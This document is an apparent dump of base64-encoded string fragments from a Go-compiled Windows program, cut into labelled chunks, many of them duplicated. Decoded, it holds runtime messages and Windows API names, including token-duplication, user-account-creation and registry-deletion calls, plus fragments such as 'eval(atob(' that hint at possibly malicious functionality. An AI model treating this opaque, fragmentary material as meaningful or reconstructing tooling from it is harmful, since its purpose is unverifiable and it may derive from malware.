XRNb2R1bGVIYW5kbGVXUnRsVmlydHVhbFVud2luZGludGVnZXIgb3ZlcmZsb3dkZWNvcmF0ZW1hcHBpbmdzZ2NzaHJpbmtzdGFja29mZnRyYWNlZnB1bndpbmRvZmZHQyBzY2F2ZW5nZSB3YWl0R0Mgd29ya2VyIChpZGxlKXBhZ2UgdHJhY2UgZmx1c2hzZWxlY3QgKGR1cmFibGUpaGVhcCByZXNlcnZhdGlvbi9nYy9nb2djOnBlcmNlbnQsIG5vdCBhIGZ1bmN0aW9uZ2M6IHVuc3dlcHQgc3BhbiBLaUIgd29yayAoYmcpLCAgbWhlYXAuc3dlZXBnZW49cnVudGltZTogbmVsZW1zPXdvcmtidWYgaXMgZW1wdHltU3Bhbkxpc3QucmVtb3ZlbVNwYW5MaXN0Lmlucw==e8:T554,OiBpblVzZT1ydW50aW1lOiBtYXggPSByZXF1ZXN0ZWQgc2tpcD1iYWQgcGFuaWMgc3RhY2tyZWNvdmVyeSBmYWlsZWRzdG9wbSBob2xkaW5nIHBzdGFydG06IG0gaGFzIHBwcmVlbXB0IFNQV1JJVEVtaXNzaW5nIG1jYWNoZT9tczogZ29tYXhwcm9jcz1yYW5kaW5pdCBtaXNzZWRdbW9yZWJ1Zj17cGM6OiBubyBmcmFtZSAoc3A9cnVudGltZTogZnJhbWUgdHMgc2V0IGluIHRpbWVydHJhY2ViYWNrIHN0dWNrdW5leHBlY3RlZCBraW5kYWR2ZXJ0aXNlIGVycm9ya2V5IGhhcyBleHBpcmVkbmV0d29yayBpcyBkb3dubm8gbWVkaXVtIGZvdW5kbm8gc3VjaCBwcm9jZXNzR2V0QWRhcHRlcnNJbmZvQ3JlYXRlSGFyZExpbmtXRGV2aWNlSW9Db250cm9sRmx1c2hWaWV3T2ZGaWxlR2V0Q29tbWFuZExpbmVXR2V0U3RhcnR1cEluZm9XUHJvY2VzczMyRmlyc3RXVW5tYXBWaWV3T2ZGaWxlRmFpbGVkIHRvIGxvYWQgRmFpbGVkIHRvIGZpbmQgUmVnQ3JlYXRlS2V5RXhXUmVnRGVsZXRlVmFsdWVXanN0bXBsbGl0aW50ZXJwdGFyaW5zZWN1cmVwYXRoeDUwOWtleXBhaXJsZWFmeDUwOXVzZXBvbGljaWVzemlwaW5zZWN1cmVwYXRoMDEyMzQ1Njc4OWFiY2RlZlRlcm1pbmF0ZVByb2Nlc3NleGVjOiBubyBjb21tYW5kMjM4NDE4NTc5MTAxNTYyNTAxMjM0NTY3ODlBQkNERUZEdXBsaWNhdGVUb2tlbkV4Q3JlYXRlTmFtZWRQaXBlV0dldEN1cnJlbnRUaHJlYWRHZXRNb2R1bGVIYW5kbGVXUnRsVmlydHVhbFVud2luZGludGVnZXIgb3ZlcmZsb3dkZWNvcmF0ZW1hcHBpbmdzZ2NzaHJpbmtzdGFja29mZnRyYWNlZnB1bndpbmRvZmZHQyBzY2F2ZW5nZSB3YWl0R0Mgd29ya2VyIChpZGxlKXBhZ2UgdHJhY2UgZmx1c2hzZWxlY3QgKGR1cmFibGUpaGVhcCByZXNlcnZhdGlvbi9nYy9nb2djOnBlcmNlbnQsIG5vdCBhIGZ1bmN0aW9uZ2M6IHVuc3dlcHQgc3BhbiBLaUIgd29yayAoYmcpLCAgbWhlYXAuc3dlZXBnZW49cnVudGltZTogbmVsZW1zPXdvcmtidWYgaXMgZW1wdHltU3Bhbkxpc3QucmVtb3ZlbVNwYW5MaXN0Lmluc2U=e9:T554,X2Nnb19wdGhyZWFkX2tleV9jcmVhdGVkIG1pc3NpbmdydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgZWxlbXJ1bnRpbWU6IHN1ZG9nIHdpdGggbm9uLW5pbCBuZXh0cnVudGltZTogc3Vkb2cgd2l0aCBub24tbmlsIHByZXZydW50aW1lOiBtY2FsbCBmdW5jdGlvbiByZXR1cm5lZHJ1bnRpbWU6IG5ld3N0YWNrIGNhbGxlZCBmcm9tIGc9cnVudGltZTogc3RhY2sgc3BsaXQgYXQgYmFkIHRpbWVwYW5pYyB3aGlsZSBwcmludGluZyBwYW5pYyB2YWx1ZXJ1bnRpbWU6IHNldGV2ZW50IGZhaWxlZDsgZXJybm89cnVudGltZS5zZW1hc2xlZXAgd2FpdF9hYmFuZG9uZWRyZXNvdXJjZSB0ZW1wb3JhcmlseSB1bmF2YWlsYWJsZXNvZnR3YXJlIGNhdXNlZCBjb25uZWN0aW9uIGFib3J0bnVtZXJpY2FsIGFyZ3VtZW50IG91dCBvZiBkb21haW5DZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZUNlcnRWZXJpZnlDZXJ0aWZpY2F0ZUNoYWluUG9saWN5dXNlIG9mIGNsb3NlZCBuZXR3b3JrIGNvbm5lY3Rpb25pbml0aWFsIHRhYmxlIGNhcGFjaXR5IHRvbyBsYXJnZSIgbm90IHN1cHBvcnRlZCBmb3IgY3B1IG9wdGlvbiAiMTQyMTA4NTQ3MTUyMDIwMDM3MTc0MjI0ODUzNTE1NjI1NzEwNTQyNzM1NzYwMTAwMTg1ODcxMTI0MjY3NTc4MTI1cmVmbGVjdDogc2xpY2UgaW5kZXggb3V0IG9mIHJhbmdlIG9mIG1ldGhvZCBvbiBuaWwgaW50ZXJmYWNlIHZhbHVlcmVmbGVjdDogRmllbGQgaW5kZXggb3V0IG9mIHJhbmdlcmVmbGVjdDogYXJyYXkgaW5kZXggb3V0IG9mIHJhbmdlc2tpcCBldmVyeXRoaW5nIGFuZCBzdG9wIHRoZSB3YWxrR2V0Vm9sdW1lTmFtZUZvclZvbHVtZU1vdW50UG9pbnRXc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbJXg6JXldYmFzZSBvdXRzaWRlIHVzYWJsZSBhZGRyZXNzIHNwYWNlcnVudGltZTogbWVtb3J5IGFsbG9jYXRlZCBieSBPUyBbbWlzcm91bmRlZCBhbGxvY2F0aW9uIGluIHN5c0FsbG9jcnVudGltZTogZmFpbGVkIHRvIGRlY29tbWl0IHBhZ2VzL2NwdS9jbGFzc2VzL2djL3Bhea:T558,X2Nnb19wdGhyZWFkX2tleV9jcmVhdGVkIG1pc3NpbmdydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgZWxlbXJ1bnRpbWU6IHN1ZG9nIHdpdGggbm9uLW5pbCBuZXh0cnVudGltZTogc3Vkb2cgd2l0aCBub24tbmlsIHByZXZydW50aW1lOiBtY2FsbCBmdW5jdGlvbiByZXR1cm5lZHJ1bnRpbWU6IG5ld3N0YWNrIGNhbGxlZCBmcm9tIGc9cnVudGltZTogc3RhY2sgc3BsaXQgYXQgYmFkIHRpbWVwYW5pYyB3aGlsZSBwcmludGluZyBwYW5pYyB2YWx1ZXJ1bnRpbWU6IHNldGV2ZW50IGZhaWxlZDsgZXJybm89cnVudGltZS5zZW1hc2xlZXAgd2FpdF9hYmFuZG9uZWRyZXNvdXJjZSB0ZW1wb3JhcmlseSB1bmF2YWlsYWJsZXNvZnR3YXJlIGNhdXNlZCBjb25uZWN0aW9uIGFib3J0bnVtZXJpY2FsIGFyZ3VtZW50IG91dCBvZiBkb21haW5DZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZUNlcnRWZXJpZnlDZXJ0aWZpY2F0ZUNoYWluUG9saWN5dXNlIG9mIGNsb3NlZCBuZXR3b3JrIGNvbm5lY3Rpb25pbml0aWFsIHRhYmxlIGNhcGFjaXR5IHRvbyBsYXJnZSIgbm90IHN1cHBvcnRlZCBmb3IgY3B1IG9wdGlvbiAiMTQyMTA4NTQ3MTUyMDIwMDM3MTc0MjI0ODUzNTE1NjI1NzEwNTQyNzM1NzYwMTAwMTg1ODcxMTI0MjY3NTc4MTI1cmVmbGVjdDogc2xpY2UgaW5kZXggb3V0IG9mIHJhbmdlIG9mIG1ldGhvZCBvbiBuaWwgaW50ZXJmYWNlIHZhbHVlcmVmbGVjdDogRmllbGQgaW5kZXggb3V0IG9mIHJhbmdlcmVmbGVjdDogYXJyYXkgaW5kZXggb3V0IG9mIHJhbmdlc2tpcCBldmVyeXRoaW5nIGFuZCBzdG9wIHRoZSB3YWxrR2V0Vm9sdW1lTmFtZUZvclZvbHVtZU1vdW50UG9pbnRXc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbJXg6JXldYmFzZSBvdXRzaWRlIHVzYWJsZSBhZGRyZXNzIHNwYWNlcnVudGltZTogbWVtb3J5IGFsbG9jYXRlZCBieSBPUyBbbWlzcm91bmRlZCBhbGxvY2F0aW9uIGluIHN5c0FsbG9jcnVudGltZTogZmFpbGVkIHRvIGRlY29tbWl0IHBhZ2VzL2NwdS9jbGFzc2VzL2djL3BhdQ==eb:T554,YSBTdGFuZGFyZCBUaW1lQ2FwZSBWZXJkZSBTdGFuZGFyZCBUaW1lMTE2NDE1MzIxODI2OTM0ODE0NDUzMTI1NTgyMDc2NjA5MTM0Njc0MDcyMjY1NjI1dHJhY2VjaGVja3N0YWNrb3duZXJzaGlwaGFzaCBvZiB1bmhhc2hhYmxlIHR5cGUgc3BhbiBoYXMgbm8gZnJlZSBvYmplY3RzcnVudGltZTogZm91bmQgb2JqIGF0ICoocnVudGltZTogVmlydHVhbEZyZWUgb2YgL2Nnby9nby10by1jLWNhbGxzOmNhbGxzL2djL2hlYXAvb2JqZWN0czpvYmplY3RzL3NjaGVkL2xhdGVuY2llczpzZWNvbmRzcXVldWVmaW5hbGl6ZXIgZHVyaW5nIEdDY2hlY2tmaW5hbGl6ZXJzOiBxdWV1ZTogdXBkYXRlIGR1cmluZyB0cmFuc2l0aW9ucnVudGltZTogbWFya3Jvb3QgaW5kZXggY2FuJ3Qgc2NhbiBvdXIgb3duIHN0YWNrZ2NEcmFpbk4gcGhhc2UgaW5jb3JyZWN0cGFnZUFsbG9jOiBvdXQgb2YgbWVtb3J5cnVudGltZTogcC5zZWFyY2hBZGRyID0gcmFuZ2UgcGFydGlhbGx5IG92ZXJsYXBzIFtyZWNvdmVyZWQsIHJlcGFuaWNrZWRdc3RhY2sgdHJhY2UgdW5hdmFpbGFibGViaW5kbSBpbiB1bmV4cGVjdGVkIEdPT1NydW50aW1lOiBtcC5sb2NrZWRJbnQgPSBydW5xc3RlYWw6IHJ1bnEgb3ZlcmZsb3dnb3JvdXRpbmUgc3RhY2sgKHN5c3RlbSl1bmV4cGVjdGVkIHN5bmNncm91cCBzZXRkb3VibGUgdHJhY2VHQ1N3ZWVwU3RhcnRiYWQgdXNlIG9mIHRyYWNlLnNlcWxvY2tmbG9hdGluZyBwb2ludCBleGNlcHRpb25jb25uZWN0aW9uIHJlc2V0IGJ5IHBlZXJsZXZlbCAyIG5vdCBzeW5jaHJvbml6ZWRsaW5rIG51bWJlciBvdXQgb2YgcmFuZ2VvdXQgb2Ygc3RyZWFtcyByZXNvdXJjZXNmdW5jdGlvbiBub3QgaW1wbGVtZW50ZWRzdHJ1Y3R1cmUgbmVlZHMgY2xlYW5pbmdub3Qgc3VwcG9ydGVkIGJ5IHdpbmRvd3NDZXJ0RnJlZUNlcnRpZmljYXRlQ2hhaW5DcmVhdGVUb29saGVscDMyU25hcHNob3RHZXRVc2VyUHJvZmlsZURpcmVjdG9yeVdpbnZhbGlkIHBhdHRlcm4gc3ludGF4OiBTb3V0aCBTdWRhbiBTdGFuZGFyZCBUaW0=ec:T554,YSBTdGFuZGFyZCBUaW1lQ2FwZSBWZXJkZSBTdGFuZGFyZCBUaW1lMTE2NDE1MzIxODI2OTM0ODE0NDUzMTI1NTgyMDc2NjA5MTM0Njc0MDcyMjY1NjI1dHJhY2VjaGVja3N0YWNrb3duZXJzaGlwaGFzaCBvZiB1bmhhc2hhYmxlIHR5cGUgc3BhbiBoYXMgbm8gZnJlZSBvYmplY3RzcnVudGltZTogZm91bmQgb2JqIGF0ICoocnVudGltZTogVmlydHVhbEZyZWUgb2YgL2Nnby9nby10by1jLWNhbGxzOmNhbGxzL2djL2hlYXAvb2JqZWN0czpvYmplY3RzL3NjaGVkL2xhdGVuY2llczpzZWNvbmRzcXVldWVmaW5hbGl6ZXIgZHVyaW5nIEdDY2hlY2tmaW5hbGl6ZXJzOiBxdWV1ZTogdXBkYXRlIGR1cmluZyB0cmFuc2l0aW9ucnVudGltZTogbWFya3Jvb3QgaW5kZXggY2FuJ3Qgc2NhbiBvdXIgb3duIHN0YWNrZ2NEcmFpbk4gcGhhc2UgaW5jb3JyZWN0cGFnZUFsbG9jOiBvdXQgb2YgbWVtb3J5cnVudGltZTogcC5zZWFyY2hBZGRyID0gcmFuZ2UgcGFydGlhbGx5IG92ZXJsYXBzIFtyZWNvdmVyZWQsIHJlcGFuaWNrZWRdc3RhY2sgdHJhY2UgdW5hdmFpbGFibGViaW5kbSBpbiB1bmV4cGVjdGVkIEdPT1NydW50aW1lOiBtcC5sb2NrZWRJbnQgPSBydW5xc3RlYWw6IHJ1bnEgb3ZlcmZsb3dnb3JvdXRpbmUgc3RhY2sgKHN5c3RlbSl1bmV4cGVjdGVkIHN5bmNncm91cCBzZXRkb3VibGUgdHJhY2VHQ1N3ZWVwU3RhcnRiYWQgdXNlIG9mIHRyYWNlLnNlcWxvY2tmbG9hdGluZyBwb2ludCBleGNlcHRpb25jb25uZWN0aW9uIHJlc2V0IGJ5IHBlZXJsZXZlbCAyIG5vdCBzeW5jaHJvbml6ZWRsaW5rIG51bWJlciBvdXQgb2YgcmFuZ2VvdXQgb2Ygc3RyZWFtcyByZXNvdXJjZXNmdW5jdGlvbiBub3QgaW1wbGVtZW50ZWRzdHJ1Y3R1cmUgbmVlZHMgY2xlYW5pbmdub3Qgc3VwcG9ydGVkIGJ5IHdpbmRvd3NDZXJ0RnJlZUNlcnRpZmljYXRlQ2hhaW5DcmVhdGVUb29saGVscDMyU25hcHNob3RHZXRVc2VyUHJvZmlsZURpcmVjdG9yeVdpbnZhbGlkIHBhdHRlcm4gc3ludGF4OiBTb3V0aCBTdWRhbiBTdGFuZGFyZCBUaW1led:T554,YWNlcjogYXNzaXN0IHJhdGlvPXdvcmtidWYgaXMgbm90IGVtcHR5YmFkIHVzZSBvZiBidWNrZXQubXBiYWQgdXNlIG9mIGJ1Y2tldC5icHJ1bnRpbWU6IGRvdWJsZSB3YWl0cHJlZW1wdCBvZmYgcmVhc29uOiBmb3JjZWdjOiBwaGFzZSBlcnJvcmdvcGFyazogYmFkIGcgc3RhdHVzZ28gb2YgbmlsIGZ1bmMgdmFsdWVzZWxlY3RnbzogYmFkIHdha2V1cHNlbWFSb290IHJvdGF0ZVJpZ2h0cmVmbGVjdC5tYWtlRnVuY1N0dWJ0cmFjZTogb3V0IG9mIG1lbW9yeXdpcmVwOiBhbHJlYWR5IGluIGdvaW52YWxpZCByZXF1ZXN0IGNvZGViYWQgZm9udCBmaWxlIGZvcm1hdGlzIGEgbmFtZWQgdHlwZSBmaWxla2V5IGhhcyBiZWVuIHJldm9rZWRjb25uZWN0aW9uIHRpbWVkIG91dENyZWF0ZVByb2Nlc3NBc1VzZXJXQ3J5cHRBY3F1aXJlQ29udGV4dFdDZXJ0T3BlblN5c3RlbVN0b3JlV0dldEN1cnJlbnREaXJlY3RvcnlXR2V0RmlsZUF0dHJpYnV0ZXNFeFdTZXRDdXJyZW50RGlyZWN0b3J5V1NldEhhbmRsZUluZm9ybWF0aW9uR2V0QWNjZXB0RXhTb2NrYWRkcnNodHRwbGF4Y29udGVudGxlbmd0aHg1MDl1c2VmYWxsYmFja3Jvb3RzcmVmbGVjdC5WYWx1ZS5Db21wbGV4ZXhlYzogYWxyZWFkeSBzdGFydGVkTW9yb2NjbyBTdGFuZGFyZCBUaW1lTmFtaWJpYSBTdGFuZGFyZCBUaW1lQWxhc2thbiBTdGFuZGFyZCBUaW1lQ2VudHJhbCBTdGFuZGFyZCBUaW1lUGFjaWZpYyBTdGFuZGFyZCBUaW1lRWFzdGVybiBTdGFuZGFyZCBUaW1lU0UgQXNpYSBTdGFuZGFyZCBUaW1lQXJhYmlhbiBTdGFuZGFyZCBUaW1lTWFnYWRhbiBTdGFuZGFyZCBUaW1lTXlhbm1hciBTdGFuZGFyZCBUaW1lWWFrdXRzayBTdGFuZGFyZCBUaW1lQmVsYXJ1cyBTdGFuZGFyZCBUaW1lUnVzc2lhbiBTdGFuZGFyZCBUaW1lUm9tYW5jZSBTdGFuZGFyZCBUaW1lU2FyYXRvdiBTdGFuZGFyZCBUaW1lTm9yZm9sayBTdGFuZGFyZCBUaW1lMTg2MjY0NTE0OTIzMDk1NzAzMTI1OTMxMzIyNTc0NjE1NDc4NTE1NjI1dW5zdXBwb3J0ZWQgb3BlcmF0aW9uYmFkee:T554,YWNrPVsgZ3AuZ29pZD0gbG9ja2VkbT1pbnRlcnJ1cHRidXMgZXJyb3JGaW5kQ2xvc2VMb2NhbEZyZWVNb3ZlRmlsZVdXcml0ZUZpbGVXU0FTZW5kVG9Jbmhlcml0ZWRwY2xtdWxxZHFtYXRoL3JhbmR0bHNyc2FrZXh3aW5zeW1saW5rL2Rldi9zdGRpbkNyZWF0ZUZpbGVleGVjZXJyZG90U1lTVEVNUk9PVCUhV2Vla2RheSgxMjIwNzAzMTI1NjEwMzUxNTYyNWNvbXBsZXgxMjh0LktpbmQgPT0gSXNWYWxpZFNpZExvZ29uVXNlcldMb2NrRmlsZUV4UmVPcGVuRmlsZU5ldFVzZXJBZGROZXRVc2VyRGVsTnRPcGVuRmlsZVdTQVNvY2tldFd3czJfMzIuZGxsdmdldHJhbmRvbW5vdGlmeUxpc3Rwcm9mSW5zZXJ0c3RhY2tMYXJnZU5vdCB3b3JrZXJtU3BhbkluVXNlR09NQVhQUk9DU3N0b3AgdHJhY2VkaXNhYmxldGhwaW52YWxpZHB0cnNjaGVkdHJhY2VzZW1hY3F1aXJlZGVidWcgY2FsbCAgPGJhZCBwYyAgZmx1c2hHZW4gIE1CIGdvYWwsICBjbGVhbnVwc3Muc3RhdGUgPSAgcy5iYXNlKCk9IGhlYXBHb2FsPUdPTUVNTElNSVQgS2lCIG5vdywgIHBhZ2VzIGF0ICBzd2VlcGdlbj0gc3dlZXBnZW4gLCBib3VuZCA9ICwgbGltaXQgPSBleGl0VGhyZWFkQmFkIHZhcmludEdDIGZvcmNlZCBydW5xdWV1ZT0gc3RvcHdhaXQ9IHJ1bnFzaXplPSBnZnJlZWNudD0gdGhyb3dpbmc9IHNwaW5uaW5nPWF0b21pY2FuZDhmbG9hdDY0bmFuZmxvYXQzMm5hbkV4Y2VwdGlvbiAgcHRyU2l6ZT0gIHRhcmdldHBjPSB1bnRpbCBwYz1hY3RpdmUgPCAwdW5rbm93biBwY3J1bnRpbWU6IGdnb3JvdXRpbmUgIChkdXJhYmxlKXRlcm1pbmF0ZWRvd25lciBkaWVkRG5zUXVlcnlfV0dldElmRW50cnlDYW5jZWxJb0V4Q3JlYXRlUGlwZUdldFZlcnNpb25Mb2NhbEFsbG9jV1NBQ2xlYW51cFdTQVN0YXJ0dXBnZXRzb2Nrb3B0c2V0c29ja29wdGRuc2FwaS5kbGxodHRwMmRlYnVncnNhMTAyNG1pbmNyeXB0by9yc2FjcnlwdG8vdGxzeDUwOXJzYWNydCIsIDAsIEZhbHNlZXZhbChhdG9iKCcvZGV2L3N0ZG91dC9kZXYvc3RkZXJyT3BlblBybw==ef:T554,YWNrPVsgZ3AuZ29pZD0gbG9ja2VkbT1pbnRlcnJ1cHRidXMgZXJyb3JGaW5kQ2xvc2VMb2NhbEZyZWVNb3ZlRmlsZVdXcml0ZUZpbGVXU0FTZW5kVG9Jbmhlcml0ZWRwY2xtdWxxZHFtYXRoL3JhbmR0bHNyc2FrZXh3aW5zeW1saW5rL2Rldi9zdGRpbkNyZWF0ZUZpbGVleGVjZXJyZG90U1lTVEVNUk9PVCUhV2Vla2RheSgxMjIwNzAzMTI1NjEwMzUxNTYyNWNvbXBsZXgxMjh0LktpbmQgPT0gSXNWYWxpZFNpZExvZ29uVXNlcldMb2NrRmlsZUV4UmVPcGVuRmlsZU5ldFVzZXJBZGROZXRVc2VyRGVsTnRPcGVuRmlsZVdTQVNvY2tldFd3czJfMzIuZGxsdmdldHJhbmRvbW5vdGlmeUxpc3Rwcm9mSW5zZXJ0c3RhY2tMYXJnZU5vdCB3b3JrZXJtU3BhbkluVXNlR09NQVhQUk9DU3N0b3AgdHJhY2VkaXNhYmxldGhwaW52YWxpZHB0cnNjaGVkdHJhY2VzZW1hY3F1aXJlZGVidWcgY2FsbCAgPGJhZCBwYyAgZmx1c2hHZW4gIE1CIGdvYWwsICBjbGVhbnVwc3Muc3RhdGUgPSAgcy5iYXNlKCk9IGhlYXBHb2FsPUdPTUVNTElNSVQgS2lCIG5vdywgIHBhZ2VzIGF0ICBzd2VlcGdlbj0gc3dlZXBnZW4gLCBib3VuZCA9ICwgbGltaXQgPSBleGl0VGhyZWFkQmFkIHZhcmludEdDIGZvcmNlZCBydW5xdWV1ZT0gc3RvcHdhaXQ9IHJ1bnFzaXplPSBnZnJlZWNudD0gdGhyb3dpbmc9IHNwaW5uaW5nPWF0b21pY2FuZDhmbG9hdDY0bmFuZmxvYXQzMm5hbkV4Y2VwdGlvbiAgcHRyU2l6ZT0gIHRhcmdldHBjPSB1bnRpbCBwYz1hY3RpdmUgPCAwdW5rbm93biBwY3J1bnRpbWU6IGdnb3JvdXRpbmUgIChkdXJhYmxlKXRlcm1pbmF0ZWRvd25lciBkaWVkRG5zUXVlcnlfV0dldElmRW50cnlDYW5jZWxJb0V4Q3JlYXRlUGlwZUdldFZlcnNpb25Mb2NhbEFsbG9jV1NBQ2xlYW51cFdTQVN0YXJ0dXBnZXRzb2Nrb3B0c2V0c29ja29wdGRuc2FwaS5kbGxodHRwMmRlYnVncnNhMTAyNG1pbmNyeXB0by9yc2FjcnlwdG8vdGxzeDUwOXJzYWNydCIsIDAsIEZhbHNlZXZhbChhdG9iKCcvZGV2L3N0ZG91dC9kZXYvc3RkZXJyT3BlblByb2M=f0:T554,YWwvc3luYy5IYXNoVHJpZU1hcDogcmFuIG91dCBvZiBoYXNoIGJpdHMgd2hpbGUgaW5zZXJ0aW5nICBtYXkgYmUgaW4gdGhlIHNhbWUgdGlueSBibG9jayBhcyBjbGVhbnVwIG9yIGNsZWFudXAgYXJndW1lbnRtYWxmb3JtZWQgR09NRU1MSU1JVDsgc2VlIGBnbyBkb2MgcnVudGltZS9kZWJ1Zy5TZXRNZW1vcnlMaW1pdGBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODktX3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCB3YXMgYWxsb2NhdGVkIGludG8gYW4gYXJlbmFjb21waWxlQ2FsbGJhY2s6IGV4cGVjdGVkIGZ1bmN0aW9uIHdpdGggb25lIHVpbnRwdHItc2l6ZWQgcmVzdWx0YXR0ZW1wdGVkIHRvIHRyYWNlIHN0YWNrIG9mIGEgZ29yb3V0aW5lIHRoaXMgdGhyZWFkIGRvZXMgbm90IG93bnVzZXIgYXJlbmEgY2h1bmsgc2l6ZSBpcyBub3QgYSBtdWx0aXBsZSBvZiB0aGUgcGh5c2ljYWwgcGFnZSBzaXplcnVudGltZTogZnVuY3Rpb24gbWFya2VkIHdpdGggI2NnbyBub2NhbGxiYWNrIGNhbGxlZCBiYWNrIGludG8gR29ydW50aW1lLlNldEZpbmFsaXplcjogcG9pbnRlciBub3QgYXQgYmVnaW5uaW5nIG9mIGFsbG9jYXRlZCBibG9ja2Nhc0dUb1dhaXRpbmdGb3JTdXNwZW5kRyB3aXRoIG5vbi1pc1dhaXRpbmdGb3JTdXNwZW5kRyB3YWl0IHJlYXNvbnVuYWJsZSB0byBxdWVyeSBidWZmZXIgc2l6ZSBmcm9tIEluaXRpYWxpemVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdHJlZmxlY3Q6IHJlZmxlY3QuVmFsdWUuVW5zYWZlUG9pbnRlciBvbiBhbiBpbnZhbGlkIG5vdGluaGVhcCBwb2ludGVycnVudGltZS5QaW5uZXI6IGZvdW5kIGxlYWtpbmcgcGlubmVkIHBvaW50ZXI7IGZvcmdvdCB0byBjYWxsIFVucGluKCk/ZXhlYzogY29tbWFuZCB3aXRoIGEgbm9uLW5pbCBDYW5jZWwgd2FzIG5vdCBjcmVhdGVkIHdpdGg=f1:T550,YWxyZWFkeTsgZXJybm89cnVudGltZSBzdGFjazppbnZhbGlkIGcgc3RhdHVzY2FzdG9nc2NhbnN0YXR1c2JhZCBnIHRyYW5zaXRpb25zY2hlZHVsZTogaW4gY2dvcmVmbGVjdCBtaXNtYXRjaCB1bnR5cGVkIGxvY2FscyBtaXNzaW5nIHN0YWNrbWFwYmFkIHN5bWJvbCB0YWJsZW5vbi1HbyBmdW5jdGlvbnBvaW50ZXJsZXNzIHR5cGUgbm90IGluIHJhbmdlczppbnZhbGlkIGV4Y2hhbmdlbm8gcm91dGUgdG8gaG9zdGludmFsaWQgYXJndW1lbnRtZXNzYWdlIHRvbyBsb25nb2JqZWN0IGlzIHJlbW90ZXJlbW90ZSBJL08gZXJyb3JTZXRGaWxlUG9pbnRlckV4T3BlblByb2Nlc3NUb2tlblJlZ1F1ZXJ5SW5mb0tleVdSZWdRdWVyeVZhbHVlRXhXRG5zTmFtZUNvbXBhcmVfV0NyZWF0ZURpcmVjdG9yeVdGbHVzaEZpbGVCdWZmZXJzR2V0Q29tcHV0ZXJOYW1lV0dldEZ1bGxQYXRoTmFtZVdHZXRMb25nUGF0aE5hbWVXUmVtb3ZlRGlyZWN0b3J5V05ldEFwaUJ1ZmZlckZyZWVHT0RFQlVHOiB2YWx1ZSAiYWxsb3dtdWx0aXBsZXZjc2h0dHBjb29raWVtYXhudW0nKSkod2luZG93LmNsb3NlKTAxMjM0NTY3ODlBQkNERUZYMDEyMzQ1Njc4OWFiY2RlZnhyZWZsZWN0LlZhbHVlLkludHdpbnJlYWRsaW5rdm9sdW1lZXhlYzoga2lsbGluZyBDbWRleGVjOiBub3Qgc3RhcnRlZEdUQiBTdGFuZGFyZCBUaW1lRkxFIFN0YW5kYXJkIFRpbWVHTVQgU3RhbmRhcmQgVGltZTExOTIwOTI4OTU1MDc4MTI1NTk2MDQ2NDQ3NzUzOTA2MjV1bmtub3duIHR5cGUga2luZHJlZmxlY3Q6IGNhbGwgb2YgcmVmbGVjdC5WYWx1ZS5MZW5nb3JvdXRpbmUgcHJvZmlsZUFsbFRocmVhZHNTeXNjYWxsY29udGFpbmVybWF4cHJvY3NHQyBhc3Npc3QgbWFya2luZ3NlbGVjdCAobm8gY2FzZXMpc3luYy5SV011dGV4LkxvY2t3YWl0IGZvciBHQyBjeWNsZXRyYWNlIHByb2Mgc3RhdHVzc3luYy4oKkNvbmQpLldhaXQ6IG1pc3NpbmcgbWV0aG9kIG5vdGV0c2xlZXBnIG9uIGcwYmFkIFRpbnlTaXplQ2xhc3NpbW1vcnRhbCBtZXRhZGF0YXJ1bg==f2:T550,YWxyZWFkeTsgZXJybm89cnVudGltZSBzdGFjazppbnZhbGlkIGcgc3RhdHVzY2FzdG9nc2NhbnN0YXR1c2JhZCBnIHRyYW5zaXRpb25zY2hlZHVsZTogaW4gY2dvcmVmbGVjdCBtaXNtYXRjaCB1bnR5cGVkIGxvY2FscyBtaXNzaW5nIHN0YWNrbWFwYmFkIHN5bWJvbCB0YWJsZW5vbi1HbyBmdW5jdGlvbnBvaW50ZXJsZXNzIHR5cGUgbm90IGluIHJhbmdlczppbnZhbGlkIGV4Y2hhbmdlbm8gcm91dGUgdG8gaG9zdGludmFsaWQgYXJndW1lbnRtZXNzYWdlIHRvbyBsb25nb2JqZWN0IGlzIHJlbW90ZXJlbW90ZSBJL08gZXJyb3JTZXRGaWxlUG9pbnRlckV4T3BlblByb2Nlc3NUb2tlblJlZ1F1ZXJ5SW5mb0tleVdSZWdRdWVyeVZhbHVlRXhXRG5zTmFtZUNvbXBhcmVfV0NyZWF0ZURpcmVjdG9yeVdGbHVzaEZpbGVCdWZmZXJzR2V0Q29tcHV0ZXJOYW1lV0dldEZ1bGxQYXRoTmFtZVdHZXRMb25nUGF0aE5hbWVXUmVtb3ZlRGlyZWN0b3J5V05ldEFwaUJ1ZmZlckZyZWVHT0RFQlVHOiB2YWx1ZSAiYWxsb3dtdWx0aXBsZXZjc2h0dHBjb29raWVtYXhudW0nKSkod2luZG93LmNsb3NlKTAxMjM0NTY3ODlBQkNERUZYMDEyMzQ1Njc4OWFiY2RlZnhyZWZsZWN0LlZhbHVlLkludHdpbnJlYWRsaW5rdm9sdW1lZXhlYzoga2lsbGluZyBDbWRleGVjOiBub3Qgc3RhcnRlZEdUQiBTdGFuZGFyZCBUaW1lRkxFIFN0YW5kYXJkIFRpbWVHTVQgU3RhbmRhcmQgVGltZTExOTIwOTI4OTU1MDc4MTI1NTk2MDQ2NDQ3NzUzOTA2MjV1bmtub3duIHR5cGUga2luZHJlZmxlY3Q6IGNhbGwgb2YgcmVmbGVjdC5WYWx1ZS5MZW5nb3JvdXRpbmUgcHJvZmlsZUFsbFRocmVhZHNTeXNjYWxsY29udGFpbmVybWF4cHJvY3NHQyBhc3Npc3QgbWFya2luZ3NlbGVjdCAobm8gY2FzZXMpc3luYy5SV011dGV4LkxvY2t3YWl0IGZvciBHQyBjeWNsZXRyYWNlIHByb2Mgc3RhdHVzc3luYy4oKkNvbmQpLldhaXQ6IG1pc3NpbmcgbWV0aG9kIG5vdGV0c2xlZXBnIG9uIGcwYmFkIFRpbnl